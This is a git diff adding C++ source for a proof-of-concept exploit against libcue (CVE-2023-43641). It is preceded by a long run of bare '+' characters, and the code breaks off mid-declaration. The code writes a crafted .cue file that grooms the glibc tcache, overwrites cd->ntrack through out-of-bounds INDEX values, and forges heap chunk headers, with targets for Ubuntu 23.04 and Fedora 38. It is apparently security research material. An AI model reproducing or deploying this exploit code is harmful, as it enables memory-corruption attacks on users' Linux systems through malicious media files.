+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/mkcue.cpp b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/mkcue.cpp new file mode 100644 index 0000000..96f3558 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/mkcue.cpp @@ -0,0 +1,565 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include + +struct Track { + const char *title_; + const char *composer_; + const char *arranger_; + const char *performer_; + const char *songwriter_; + const char *genre_; + const char *message_; +}; + +const Track track_fengshui1 = { + "Heap Feng Shui: empty the tcache", + "Allocate a chunk from tcache index 2 ", + "Allocate a chunk from tcache index 4 ", + "Allocate a chunk from tcache index 6 " + " \n ", + "Allocate a chunk from tcache index 7 " + " \n ", + "Allocate a chunk from tcache index 11 " + " \n " + " \n ", + "The goal here is to ensure that all subsequent allocations come\nfrom a " + "large contiguous block of memory. This string allocates a chunk " + "from\ntcache index 13. Doing this 14 times guarantees that the tcache is " + "empty. ", +}; + +const Track track_fengshui2 = { + "Repeat Heap Feng Shui ", + " ", + " ", + " " + " \n ", + " " + " \n ", + " " + " \n " + " \n ", + " \n " + " \n " + " ", +}; + +const Track track_rickroll = { + "Never Gonna Give You Up ", + "Rick Astley ", + " ", + "\nWe're no strangers to love\nYou know the rules and so do I\n " + " ", + "\nA full commitment's what I'm thinking of\nYou wouldn't get this from " + "any other guy\n ", + "\nI just want to tell you how I'm feeling\nGotta make you understand\n " + " \n " + " ", + "\nNever gonna give you up, never gonna let you down\nNever gonna run " + "around and desert you\nNever gonna make you cry, never gonna say " + "goodbye\nNever gonna tell a lie and hurt you\n " + " "}; + +// Calculate the tcache index that will be used for `malloc(size)`. +size_t calc_tcache_index(size_t size) { + if (size < 0x9) { + return 0; + } + return (size - 0x9) / 0x10; +} + +static void write_cdtext(WriteBuf &buf, const size_t tidx, const char *item, + const char *str) { + // Confirm that the string is the correct length for the intended tcache + // index. + const size_t len = strlen(str); + const size_t idx = calc_tcache_index(len + 1); + if (idx != tidx) { + const char *problem = idx < tidx ? "short" : "long"; + fprintf(stderr, + "String is too %s for target tcache index %ld. Actual index: " + "%ld.\nString:\n%s\n", + problem, tidx, idx, str); + exit(EXIT_FAILURE); + } + + buf.write_string(item); + buf.write_string(" \""); + buf.write_string(str); + buf.write_string("\"\n"); +} + +static void set_index(WriteBuf &buf, int32_t i, uint32_t x) { + char str[256]; + snprintf(str, sizeof(str), "INDEX %u %u\n", (uint32_t)i, x); + buf.write_string(str); +} + +// Overwrite cd->ntrack, with the goal of writing a pointer +// to a track at the target address the next time that a new +// track is allocated. +static void set_cd_ntrack(WriteBuf &buf, size_t cd_ntrack_offset, + size_t track_offset, size_t target_offset) { + ptrdiff_t i = ((ptrdiff_t)(cd_ntrack_offset - track_offset) - 0x88) / 8; + ptrdiff_t x = ((ptrdiff_t)(target_offset - cd_ntrack_offset) - 0x8) / 8; + if (99 <= x) { + // To compensate for the adjustment that's made in cd_add_track. + x++; + } + set_index(buf, i, x); +} + +static void new_track(WriteBuf &buf, size_t &tracknum) { + char str[256]; + snprintf(str, sizeof(str), "TRACK %.3lu AUDIO\n", tracknum); + tracknum++; + buf.write_string(str); +} + +static void write_complete_track(WriteBuf &buf, size_t &tracknum, + const Track &track) { + new_track(buf, tracknum); + write_cdtext(buf, 1, "TITLE", track.title_); + write_cdtext(buf, 2, "COMPOSER", track.composer_); + write_cdtext(buf, 4, "ARRANGER", track.arranger_); + write_cdtext(buf, 6, "PERFORMER", track.performer_); + write_cdtext(buf, 7, "SONGWRITER", track.songwriter_); + write_cdtext(buf, 11, "GENRE", track.genre_); + write_cdtext(buf, 13, "MESSAGE", track.message_); +} + +static bool is_valid_string_byte(uint8_t x) { return x != 0 && x != '"'; } + +static void create_fake_chunk(WriteBuf &buf, size_t track_offset, + uint16_t offset, uint16_t chunksize) { + char str[256]; + const uint8_t lowbyte = offset & 0xff; + const uint8_t highbyte = offset >> 8; + assert(is_valid_string_byte(lowbyte)); + assert(is_valid_string_byte(highbyte)); + snprintf(str, sizeof(str), + "long string to overwrite low bytes of address " + " %c%c", + lowbyte, highbyte); + write_cdtext(buf, 7, "TITLE", str); + set_index(buf, -(track_offset + 0x90 - offset) / 8, + chunksize); // overwrite size of string chunk + buf.write_string("FILE pwned.mp3 MP3\n"); +} + +enum Target { Ubuntu23_04, Fedora38, NumTargets }; + +static void 